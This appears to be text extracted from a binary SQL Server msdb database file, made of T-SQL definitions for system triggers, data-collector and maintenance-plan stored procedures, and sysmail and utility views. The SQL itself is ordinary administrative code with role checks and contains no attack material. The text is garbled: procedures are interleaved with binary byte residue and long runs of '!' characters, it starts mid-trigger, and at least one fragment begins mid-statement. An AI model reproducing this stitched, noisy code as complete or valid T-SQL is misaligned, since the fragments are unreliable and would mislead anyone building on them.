            INNER JOIN inserted i ON phs.policy_id = i.policy_id
            INNER JOIN deleted d ON phs.policy_id = d.policy_id
            WHERE d.condition_id != i.condition_id AND i.is_enabled = 1
    END

    IF( UPDATE(object_set_id) )
    BEGIN
        DECLARE @object_set_id int, @numref int, @new_object_set_id int, @name sysname
        
        DECLARE os_cursor CURSOR LOCAL FOR 
        SELECT i.object_set_id, d.object_set_id, i.name
        FROM inserted i INNER JOIN deleted d ON (i.policy_id = d.policy_id) 
        WHERE (d.object_set_id IS NOT NULL AND i.object_set_id IS NULL)
			OR (i.object_set_id IS NOT NULL AND d.object_set_id IS NULL)
			OR (d.object_set_id != i.object_set_id)

        OPEN os_cursor
        FETCH os_cursor INTO @new_object_set_id, @object_set_id, @name
    
        WHILE @@FETCH_STATUS = 0 
        BEGIN
			IF (@object_set_id IS NOT NULL)
			BEGIN
				EXEC sp_syspolicy_verify_object_set_references @object_set_id, @numref OUTPUT
				IF (@numref = 0)
					EXEC sp_syspolicy_delete_object_set @object_set_id=@object_set_id
            END
            
			IF (@new_object_set_id IS NOT NULL)
			BEGIN
				EXEC sp_syspolicy_verify_object_set_references @new_object_set_id, @numref OUTPUT
				IF (@numref > 1)
				BEGIN
					DECLARE @os_name sysname, @policy_name sysname
					SELECT TOP 1 @os_name = os.object_set_name, @policy_name = p.name
					 FROM syspolicy_object_sets os 
						INNER JOIN syspolicy_policies p ON (os.object_set_id = p.object_set_id)
					WHERE os.object_set_id = @object_set_id AND p.name <> @name
					
					RAISERROR(34013, -1, -1, 'ObjectSet', @os_name, @policy_name) 
					ROLLBACK TRANSACTION
				END
            END
                
            FETCH os_cursor INTO @new_object_set_id, @object_set_id, @name
        END
            
        CLOSE os_cursor
        DEALLOCATE os_cursor    

    END

    IF( UPDATE(is_enabled) )
    BEGIN
        -- delete all health state records for policies that 
        -- have been disabled
        DELETE FROM [dbo].[syspolicy_system_health_state_internal] 
            FROM [dbo].[syspolicy_system_health_state_internal] phs
            INNER JOIN inserted i ON phs.policy_id = i.policy_id
            INNER JOIN deleted d ON phs.policy_id = d.policy_id
            WHERE d.is_enabled = 1 AND i.is_enabled = 0
    END

END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`1/<kL m0b4 ;8CREATE PROCEDURE [dbo].[sp_syscollector_stop_collection_set]
    @collection_set_id        int = NULL,
    @name                     sysname = NULL,
    @stop_collection_job      bit = 1           -- Do we need to stop the collection job, YES by default
AS
BEGIN
    SET NOCOUNT ON

    -- Security check (role membership)
    IF (NOT (ISNULL(IS_MEMBER(N'dc_operator'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        RAISERROR(14677, -1, -1, 'dc_operator')
        RETURN(1) -- Failure
    END

    -- Verify the input parameters
    DECLARE @retVal int
    EXEC @retVal = dbo.sp_syscollector_verify_collection_set @collection_set_id OUTPUT, @name OUTPUT
    IF (@retVal <> 0)
        RETURN (1)

    IF (@stop_collection_job = 1)
    BEGIN
        DECLARE @collection_mode INT
        DECLARE @collection_job_id UNIQUEIDENTIFIER

        SELECT  @collection_mode = collection_mode, @collection_job_id = collection_job_id
        FROM    dbo.syscollector_collection_sets
        WHERE   collection_set_id = @collection_set_id
       
        DECLARE @is_collection_job_running INT
        EXECUTE [dbo].[sp_syscollector_get_collection_set_execution_status]
                @collection_set_id = @collection_set_id,
                @is_collection_running = @is_collection_job_running OUTPUT

        -- Stop the collection job if we are in cached mode, this should signal the runtime to exit
        IF (@is_collection_job_running = 1      -- Collection job is running
            AND @collection_mode = 0
            AND @stop_collection_job = 1)
        BEGIN
            EXEC sp_stop_job @job_id = @collection_job_id
        END
    END


    -- Update the is_running column for this collection set
    -- There is a trigger defined for that table that turns off
    -- the collection and uplaod jobs in response to that bit
    -- changing.
    UPDATE [dbo].[syscollector_collection_sets_internal]
    SET is_running = 0
    WHERE collection_set_id = @collection_set_id

    RETURN (0)
END
05 8CREATE PROCEDURE sp_clear_dbmaintplan_by_db
  @db_name sysname
AS
BEGIN
  DECLARE planid_cursor CURSOR
  FOR
  select plan_id from msdb.dbo.sysdbmaintplan_databases where database_name=@db_name
  OPEN planid_cursor
  declare @planid uniqueidentifier
  FETCH NEXT FROM planid_cursor INTO @planid
  WHILE (@@FETCH_STATUS <> -1)
  BEGIN
    IF (@@FETCH_STATUS <> -2)
    BEGIN
      delete from msdb.dbo.sysdbmaintplan_databases where plan_id=@planid AND database_name=@db_name
      if (NOT EXISTS(select * from msdb.dbo.sysdbmaintplan_databases where plan_id=@planid))
      BEGIN
        --delete the job
        DECLARE jobid_cursor CURSOR
        FOR
        select job_id from msdb.dbo.sysdbmaintplan_jobs where plan_id=@planid
        OPEN jobid_cursor
        DECLARE @jobid uniqueidentifier
        FETCH NEXT FROM jobid_cursor INTO @jobid
        WHILE (@@FETCH_STATUS <> -1)
        BEGIN
          if (@@FETCH_STATUS <> -2)
          BEGIN
            execute msdb.dbo.sp_delete_job @jobid
          END
          FETCH NEXT FROM jobid_cursor into @jobid
        END
        CLOSE jobid_cursor
        DEALLOCATE jobid_cursor
        --delete the history
        delete from msdb.dbo.sysdbmaintplan_history where plan_id=@planid
        --delete the plan
        delete from msdb.dbo.sysdbmaintplans where plan_id=@planid
      END
    END
    FETCH NEXT FROM planid_cursor INTO @planid
  END
  CLOSE planid_cursor
  DEALLOCATE planid_cursor
END
0R5 8
CREATE VIEW sysmail_unsentitems
AS
SELECT * FROM msdb.dbo.sysmail_allitems WHERE (sent_status = 'unsent' OR sent_status = 'retrying')

05 8CREATE PROCEDURE sp_enum_sqlagent_subsystems
AS
BEGIN
  DECLARE @retval         INT
  EXEC @retval = msdb.dbo.sp_enum_sqlagent_subsystems_internal
  RETURN(@retval)
END
0q5 8
CREATE TRIGGER dbo.syspolicy_for_update_condition_trigger
ON msdb.dbo.syspolicy_conditions_internal
FOR UPDATE
AS
BEGIN
    -- do not allow expression to be changed to a script 
    -- if the policy is enabled
    IF UPDATE(expression)
    BEGIN
        DECLARE @row_count int

        SELECT @row_count = count(*) 
            FROM inserted i 
            INNER JOIN syspolicy_policies p ON (i.condition_id = p.condition_id OR p.root_condition_id = i.condition_id)
            WHERE    p.is_enabled != 0 AND
                    p.execution_mode != 4 AND
                    (1 = CONVERT(xml, i.expression).exist('//FunctionType/text()[.="ExecuteSql"]' ) OR
                    1 = CONVERT(xml, i.expression).exist('//FunctionType/text()[.="ExecuteWql"]' ) ) 
            OPTION (FORCE ORDER)

        SELECT @row_count = @row_count + count(*)
            FROM dbo.syspolicy_target_set_levels l 
            INNER JOIN dbo.syspolicy_target_sets s ON s.target_set_id = l.target_set_id
            INNER JOIN inserted i on i.condition_id = l.condition_id
            INNER JOIN syspolicy_object_sets_internal os ON s.object_set_id = os.object_set_id
            INNER JOIN syspolicy_policies p ON os.object_set_id = p.object_set_id
            WHERE    p.is_enabled != 0 AND
                    p.execution_mode != 4 AND
                    (1 = CONVERT(xml, i.expression).exist('//FunctionType/text()[.="ExecuteSql"]' ) OR
                    1 = CONVERT(xml, i.expression).exist('//FunctionType/text()[.="ExecuteWql"]' ) )
            OPTION (FORCE ORDER)

        IF (@row_count > 0)
        BEGIN
            RAISERROR(34017, -1, -1) 
            ROLLBACK TRANSACTION
        END
    END

	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN;
	END

	-- This is to prevent indirect entrance of the trigger
	IF (TRIGGER_NESTLEVEL() > 1) 
		RETURN
END
0=5 }8
CREATE VIEW [dbo].[sysutility_ucp_dac_database_file_space_utilizations] AS
    SELECT	dd.dac_server_instance_name AS server_instance_name, 
            dd.dac_name AS dac_name,
            df.[filegroup_name],
            df.[Name],
            df.volume_name,
            df.volume_device_id,
            df.FileName AS databasefile_name, 
            df.percent_utilization AS current_utilization, 
            df.UsedSpace AS used_space, 
            df.available_space,
            10 AS under_utilization, 
            70 AS over_utilization,
            df.file_type,
            df.GrowthType AS growth_type
    FROM	msdb.dbo.sysutility_ucp_deployed_dacs AS dd,
            msdb.dbo.sysutility_ucp_database_files AS df
    WHERE dd.dac_server_instance_name = df.server_instance_name
      AND dd.dac_name = df.database_name         
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!D`G*<|~LN406 8CREATE PROCEDURE [dbo].[sp_syscollector_upload_collection_set]
    @collection_set_id        int = NULL,
    @name                     sysname = NULL
WITH EXECUTE AS OWNER -- 'MS_DataCollectorInternalUser'
AS
BEGIN
    SET NOCOUNT ON

    -- Security check (role membership)
    EXECUTE AS CALLER;
    IF (NOT (ISNULL(IS_MEMBER(N'dc_operator'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        REVERT;
        RAISERROR(14677, -1, -1, 'dc_operator')
        RETURN(1) -- Failure
    END
    REVERT;

    -- Verify the input parameters
    DECLARE @retVal int
    EXEC @retVal = dbo.sp_syscollector_verify_collection_set @collection_set_id OUTPUT, @name OUTPUT
    IF (@retVal <> 0)
        RETURN (1)

    -- Make sure the collection set is running and is in the right mode
    DECLARE @is_running bit
    DECLARE @collection_mode smallint

    SELECT 
        @is_running = is_running,
        @collection_mode = collection_mode            
    FROM [dbo].[syscollector_collection_sets]
    WHERE collection_set_id = @collection_set_id

    IF (@collection_mode <> 0)
    BEGIN
        RAISERROR(14694, -1, -1, @name)
        RETURN(1)
    END

    IF (@is_running = 0)
    BEGIN
        RAISERROR(14674, -1, -1, @name)
        RETURN(1)
    END

    -- Make sure the collector is enabled
    EXEC @retVal = [dbo].[sp_syscollector_verify_collector_state] @desired_state = 1
    IF (@retVal <> 0)
        RETURN (1)

    -- Check if the upload job is currently running
    DECLARE @is_upload_job_running INT
    EXECUTE [dbo].[sp_syscollector_get_collection_set_execution_status]
        @collection_set_id = @collection_set_id,
        @is_upload_running = @is_upload_job_running OUTPUT

    IF (@is_upload_job_running = 0)
    BEGIN
        -- Job is not running, we can trigger it now
        DECLARE @job_id UNIQUEIDENTIFIER
        SELECT @job_id = upload_job_id 
            FROM [dbo].[syscollector_collection_sets] 
            WHERE collection_set_id = @collection_set_id

        EXEC @retVal = sp_start_job @job_id = @job_id
        IF (@retVal <> 0)
            RETURN (1)
    END

    RETURN (0)
END
0'7 8CREATE PROCEDURE sp_delete_maintenance_plan
  @plan_id UNIQUEIDENTIFIER
AS
BEGIN
  /*check if the plan_id is valid*/
  IF (NOT EXISTS(SELECT *
                 FROM sysdbmaintplans
                 WHERE plan_id=@plan_id))
  BEGIN
    DECLARE @syserr VARCHAR(100)
    SELECT @syserr=CONVERT(VARCHAR(100),@plan_id)
    RAISERROR(14262,-1,-1,'@plan_id',@syserr)
    RETURN(1)
  END
  /* clean the related records in sysdbmaintplan_database */
  DELETE FROM msdb.dbo.sysdbmaintplan_databases
  WHERE plan_id=@plan_id
  /* clean the related records in sysdbmaintplan_jobs*/
  DELETE FROM msdb.dbo.sysdbmaintplan_jobs
  WHERE plan_id=@plan_id
  /* clean sysdbmaintplans */
  DELETE FROM msdb.dbo.sysdbmaintplans
  WHERE  plan_id= @plan_id
END
0#&7 A8
CREATE VIEW [dbo].[sysutility_ucp_dac_volume_space_utilizations] AS(
-- TODO VSTS 280036(rnagpal) : Temporarily Keeping under_utilization to 10 and over_utilization to 70 for now
-- since we might reintroduce them in near future which will not require any interface change for the 
-- Utility object model / UI. Presently, we are not exposing under and over utilization thresholds in UI
-- so they are not exposed. If that remains the same till KJ CTP2, i'll remove them.
SELECT	vol.physical_server_name AS physical_server_name,
		dd.dac_name AS dac_name,
		dd.dac_server_instance_name AS server_instance_name, 
		vol.volume_name AS volume_name, 
		vol.volume_device_id AS volume_device_id, 
		vol.total_space_utilization AS current_utilization, 
		vol.total_space_used AS used_space,
		vol.total_space AS available_space,
		10 AS under_utilization, 
		70 AS over_utilization
		
FROM	msdb.dbo.sysutility_ucp_volumes AS vol,
		msdb.dbo.sysutility_ucp_deployed_dacs AS dd
		
WHERE	vol.physical_server_name = dd.dac_physical_server_name)
db.dbo.sysmail_logmailevent_sp @event_type=1, @description=@localmessage

END
0R<p7 D8/h?-0
B7 D8xh2#307L7 |8CREATE PROCEDURE sp_add_maintenance_plan_db
  @plan_id UNIQUEIDENTIFIER,
  @db_name sysname
AS
BEGIN
  DECLARE @syserr VARCHAR(100)
  /*check if the plan_id is valid */
  IF (NOT EXISTS (SELECT plan_id
              FROM  msdb.dbo.sysdbmaintplans
              WHERE plan_id=@plan_id))
  BEGIN
    SELECT @syserr=CONVERT(VARCHAR(100),@plan_id)
    RAISERROR(14262,-1,-1,'@plan_id',@syserr)
    RETURN(1)
  END
  /*check if the database name is valid */
  IF (NOT EXISTS (SELECT name
              FROM master.dbo.sysdatabases
              WHERE name=@db_name))
   BEGIN
    RAISERROR(14262,-1,-1,'@db_name',@db_name)
    RETURN(1)
  END
  /*check if the (plan_id, database) pair already exists*/
  IF (EXISTS (SELECT *
              FROM sysdbmaintplan_databases
              WHERE plan_id=@plan_id AND database_name=@db_name))
  BEGIN
    SELECT @syserr=CONVERT(VARCHAR(100),@plan_id)+' + '+@db_name
    RAISERROR(14261,-1,-1,'@plan_id+@db_name',@syserr)
    RETURN(1)
  END
  INSERT INTO msdb.dbo.sysdbmaintplan_databases (plan_id,database_name) VALUES (@plan_id, @db_name)
END
077 8-----------------------------------------------------------
-- This procedure verifies if a policy category exists
-- The caller can pass either the policy category name or the id
-----------------------------------------------------------
CREATE PROCEDURE [dbo].[sp_syspolicy_verify_policy_category_identifiers]
@policy_category_name sysname = NULL OUTPUT, 
@policy_category_id int = NULL OUTPUT
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

  IF ((@policy_category_name IS NULL)     AND (@policy_category_id IS NULL)) OR
     ((@policy_category_name IS NOT NULL) AND (@policy_category_id IS NOT NULL))
  BEGIN
    RAISERROR(14524, -1, -1, '@policy_category_name', '@policy_category_id')
    RETURN(1) -- Failure
  END

  -- Check id
  IF (@policy_category_id IS NOT NULL)
  BEGIN
    SELECT @policy_category_name = name
    FROM msdb.dbo.syspolicy_policy_categories
    WHERE (policy_category_id = @policy_category_id)
    
    -- the view would take care of all the permissions issues.
    IF (@policy_category_name IS NULL) 
    BEGIN
      DECLARE @policy_category_id_as_char VARCHAR(36)
      SELECT @policy_category_id_as_char = CONVERT(VARCHAR(36), @policy_category_id)
      RAISERROR(14262, -1, -1, '@policy_category_id', @policy_category_id_as_char)
      RETURN(1) -- Failure
    END
  END
  ELSE
  -- Check name
  IF (@policy_category_name IS NOT NULL)
  BEGIN
    -- get the corresponding policy_category_id (if the condition exists)
    SELECT @policy_category_id = policy_category_id
    FROM msdb.dbo.syspolicy_policy_categories
    WHERE (name = @policy_category_name)
    
    -- the view would take care of all the permissions issues.
    IF (@policy_category_id IS NULL) 
    BEGIN
      RAISERROR(14262, -1, -1, '@policy_category_name', @policy_category_name)
      RETURN(1) -- Failure
    END
  END

  RETURN (0)
END
0-[7 $8('')0QO8 $8('')!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Y=#	`3Q<*C0	0\8 t8CREATE PROCEDURE [dbo].[sp_syspolicy_add_policy_category]
@name sysname,
@mandate_database_subscriptions bit = 1,
@policy_category_id int OUTPUT 
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

	DECLARE @retval			INT
	DECLARE @null_column	sysname
	
	SET @null_column = NULL
	
	IF(@name IS NULL OR @name = N'')
		SET @null_column = '@name'

    IF @null_column IS NOT NULL
    BEGIN
        RAISERROR(14043, -1, -1, @null_column, 'sp_syspolicy_add_policy_category')
        RETURN(1)
    END

    IF EXISTS (SELECT * FROM msdb.dbo.syspolicy_policy_categories_internal WHERE name = @name)
    BEGIN
        RAISERROR(34010, -1, -1, 'Policy Category', @name)
        RETURN(1)
    END

    INSERT INTO msdb.dbo.syspolicy_policy_categories_internal(name, mandate_database_subscriptions) VALUES (@name, @mandate_database_subscriptions)
    SELECT @retval = @@error
    SET @policy_category_id = SCOPE_IDENTITY()
    RETURN(@retval)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!